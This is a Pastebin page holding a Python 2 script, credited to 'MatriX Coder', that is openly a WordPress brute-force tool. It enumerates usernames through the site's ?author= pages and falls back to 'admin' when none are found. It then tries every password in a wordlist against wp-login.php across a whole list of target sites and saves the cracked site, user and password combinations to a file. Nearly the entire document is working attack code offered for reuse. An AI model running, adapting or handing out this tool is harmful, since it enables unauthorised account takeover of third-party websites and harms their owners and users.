Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # >>>>>>>>> bismallah <<<<<<<<<<
- # Coded by MatriX Coder | [email protected]
- # You are free to edit my code and to remove my rights :D
- # Greetz to fallega team | www.dev-tun.tn
- '''
- this a wordpress bruter
- the special thing about it that it
- grabs user and brute force it
- '''
- # v1.0 first release
- import sys , re , urllib2 , urllib , cookielib , os
- from platform import system
- if system() == 'Linux':
- os.system('clear')
- if system() == 'Windows':
- os.system('cls')
- logo = '''
- _ ______ __ __
- | | / / __ \/ /_ _______ __/ /____ | ----| Wordpress Bruter |----
- | | /| / / /_/ / __ \/ ___/ / / / __/ _ \ | Author : MatriX Coder
- | |/ |/ / ____/ /_/ / / / /_/ / /_/ __/ | FB : www.fb.com/matrixcoder2
- |__/|__/_/ /_.___/_/ \__,_/\__/\___/ | Blog : www.matrixcoder.co.vu
- '''
- print(logo)
- # this function is to enumerate user
- def user(site , passlist):
- userlist = list()
- i = 1
- # you can edit to whatever number of users you want to enumerate
- while( i <= 5 ) :
- url = site + '?author=%i' % i
- try:
- data = urllib2.urlopen(url).read()
- # cleaning the sh*t
- re1 = re.findall("<title>(.*?)</title>" , data)
- user = re.search("(.*?) |" , re1[0]).group(1)
- userlist.append(user)
- except:
- pass
- i += 1
- wpbrute(site , userlist, passlist)
- return site
- def wpbrute(site , userlist , passlist):
- for user in userlist:
- # if enumeration returns no user
- if user == "" :
- userlist[0] = "admin"
- del userlist[1:]
- for user in userlist :
- for password in passlist:
- try:
- print str(site) + ':' + user + ':' + password
- # found the answer on stackoverflow
- cj = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
- login_data = urllib.urlencode({'log' : user, 'pwd' : password})
- opener.open(str(site) + 'wp-login.php', login_data)
- resp = opener.open(str(site)+'wp-admin')
- final = resp.read()
- if '<li id="wp-admin-bar-logout">' in final:
- print "\n\t[*] Cracked : " + str(site) + ':' + user + ':' + password + '\n'
- with open('wpcracked.txt' , 'a') as myfile:
- myfile.write('~~ Cracked ~~ ' + str(site) + ':' + user + ':' + password + '\n')
- break
- except:
- pass
- try:
- siteslist = list()
- passlist = list()
- wpfile = sys.argv[1]
- wordlist = sys.argv[2]
- # opening sites file
- sites = open(wpfile).readlines()
- # opening password files
- passes = open(wordlist).readlines()
- # passes to list
- for pass1 in passes:
- pass1 = pass1.rstrip()
- passlist.append(pass1)
- # sites to list
- for site in sites:
- site = site.rstrip()
- if 'http://' not in site:
- site = 'http://' + site
- if '/' != site[-1]:
- site = site + '/'
- user(site , passlist)
- except IndexError:
- print "[*] Usage : python "+sys.argv[0]+" wp.txt wordlist.txt"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement